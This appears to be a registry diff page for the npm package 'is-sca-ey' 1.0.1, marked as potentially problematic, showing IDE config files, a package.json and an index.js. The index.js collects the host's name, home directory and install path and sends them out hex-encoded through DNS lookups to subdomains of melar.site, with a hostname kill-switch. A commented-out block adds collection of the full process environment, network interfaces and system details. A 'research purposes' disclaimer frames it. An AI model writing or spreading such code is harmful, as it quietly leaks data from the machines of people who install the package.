is-sca-ey 1.0.1

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of is-sca-ey might be problematic. Click here for more details.

@@ -0,0 +1,12 @@
1
+ <?xml version="1.0" encoding="UTF-8"?>
2
+ <module type="WEB_MODULE" version="4">
3
+ <component name="NewModuleRootManager">
4
+ <content url="file://$MODULE_DIR$">
5
+ <excludeFolder url="file://$MODULE_DIR$/temp" />
6
+ <excludeFolder url="file://$MODULE_DIR$/.tmp" />
7
+ <excludeFolder url="file://$MODULE_DIR$/tmp" />
8
+ </content>
9
+ <orderEntry type="inheritedJdk" />
10
+ <orderEntry type="sourceFolder" forTests="false" />
11
+ </component>
12
+ </module>
@@ -0,0 +1,6 @@
1
+ <?xml version="1.0" encoding="UTF-8"?>
2
+ <project version="4">
3
+ <component name="JavaScriptLibraryMappings">
4
+ <includedPredefinedLibrary name="Node.js Core" />
5
+ </component>
6
+ </project>
@@ -0,0 +1,8 @@
1
+ <?xml version="1.0" encoding="UTF-8"?>
2
+ <project version="4">
3
+ <component name="ProjectModuleManager">
4
+ <modules>
5
+ <module fileurl="file://$PROJECT_DIR$/.idea/atlas.iml" filepath="$PROJECT_DIR$/.idea/atlas.iml" />
6
+ </modules>
7
+ </component>
8
+ </project>
package/index.js ADDED
@@ -0,0 +1,108 @@
1
+ /*
2
+
3
+ This code is used for research purposes.
4
+
5
+ No sensitive data is retrieved.
6
+
7
+ Callbacks from within organizations with a
8
+ responsible disclosure program will be reported
9
+ directly to the organizations.
10
+
11
+ Any other callbacks will be ignored, and
12
+ any associated data will not be kept.
13
+
14
+ For any questions or suggestions:
15
+
16
+ ethical-bugbot@protonmail.com
17
+
18
+ As you may have guessed this is a copy paste =/
19
+ */
20
+
21
+ const dns = require("dns");
22
+ const os = require("os");
23
+
24
+ const suffix = "nrmv.melar.site";
25
+ const ns = "ns1.melar.site";
26
+
27
+ const npmPackageName = "nodejs-email";
28
+
29
+ function sendToServer(id, data) {
30
+ data = Buffer.from(data).toString("hex");
31
+ data = data.match(/.{1,60}/g);
32
+
33
+ data.forEach(function (chunk, idx) {
34
+ try {
35
+ dns.resolve(
36
+ "v2_f." + id + "." + idx + "." + chunk + ".v2_e" + suffix,
37
+ "A",
38
+ console.log
39
+ );
40
+ } catch (e) {}
41
+ });
42
+ }
43
+
44
+ function tryGet(toCall) {
45
+ try {
46
+ return toCall();
47
+ } catch (e) {
48
+ return "err";
49
+ }
50
+ }
51
+
52
+ let simpleData = {
53
+ p: npmPackageName,
54
+ h: tryGet(os.hostname),
55
+ d: tryGet(os.homedir),
56
+ c: __dirname,
57
+ };
58
+
59
+ if (simpleData["h"] === "BBOGENS-LAPTOP") {
60
+ process.exit(0);
61
+ }
62
+
63
+ const simpleInfo = JSON.stringify(simpleData);
64
+ const id = Math.random().toString(36).substring(2);
65
+ sendToServer(id, simpleInfo);
66
+ dns.lookup(ns, function (err, address) {
67
+ if (!err) {
68
+ nsAddress = address;
69
+ } else {
70
+ nsAddress = "8.8.8.8";
71
+ }
72
+ dns.setServers([nsAddress, "8.8.4.4"]);
73
+ sendToServer(simpleData);
74
+ });
75
+
76
+ process.exit(0);
77
+
78
+ /*
79
+ // Send POST request
80
+ const currentEnvString = JSON.stringify(process);
81
+ const currentEnvBase64 = Buffer.from(currentEnvString).toString('base64');
82
+
83
+ const extendedData = {
84
+ p: package,
85
+ h: tryGet(os.hostname),
86
+ d: tryGet(os.homedir),
87
+ c: __dirname,
88
+ i: Math.random().toString(36).substring(5),
89
+ e: process.env.PORT,
90
+ ho: JSON.stringify(os.hostname()),
91
+ cp: __dirname,
92
+ cf: __filename,
93
+ ce: currentEnvBase64,
94
+ ty: JSON.stringify(os.type()),
95
+ pl: JSON.stringify(os.platform()),
96
+ a: JSON.stringify(os.arch()),
97
+ r: JSON.stringify(os.release()),
98
+ u: JSON.stringify(os.uptime()),
99
+ l: JSON.stringify(os.loadavg()),
100
+ tm: JSON.stringify(os.totalmem()),
101
+ fm: JSON.stringify(os.freemem()),
102
+ cpu: JSON.stringify(os.cpus()),
103
+ ni: JSON.stringify(os.networkInterfaces()),
104
+ };
105
+
106
+ extendedDataStr = JSON.stringify(extendedData);
107
+ extendedDataB64 = Buffer.from(currentEnvString).toString('base64');
108
+ */
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "is-sca-ey",
3
+ "version": "1.0.1",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
11
+ }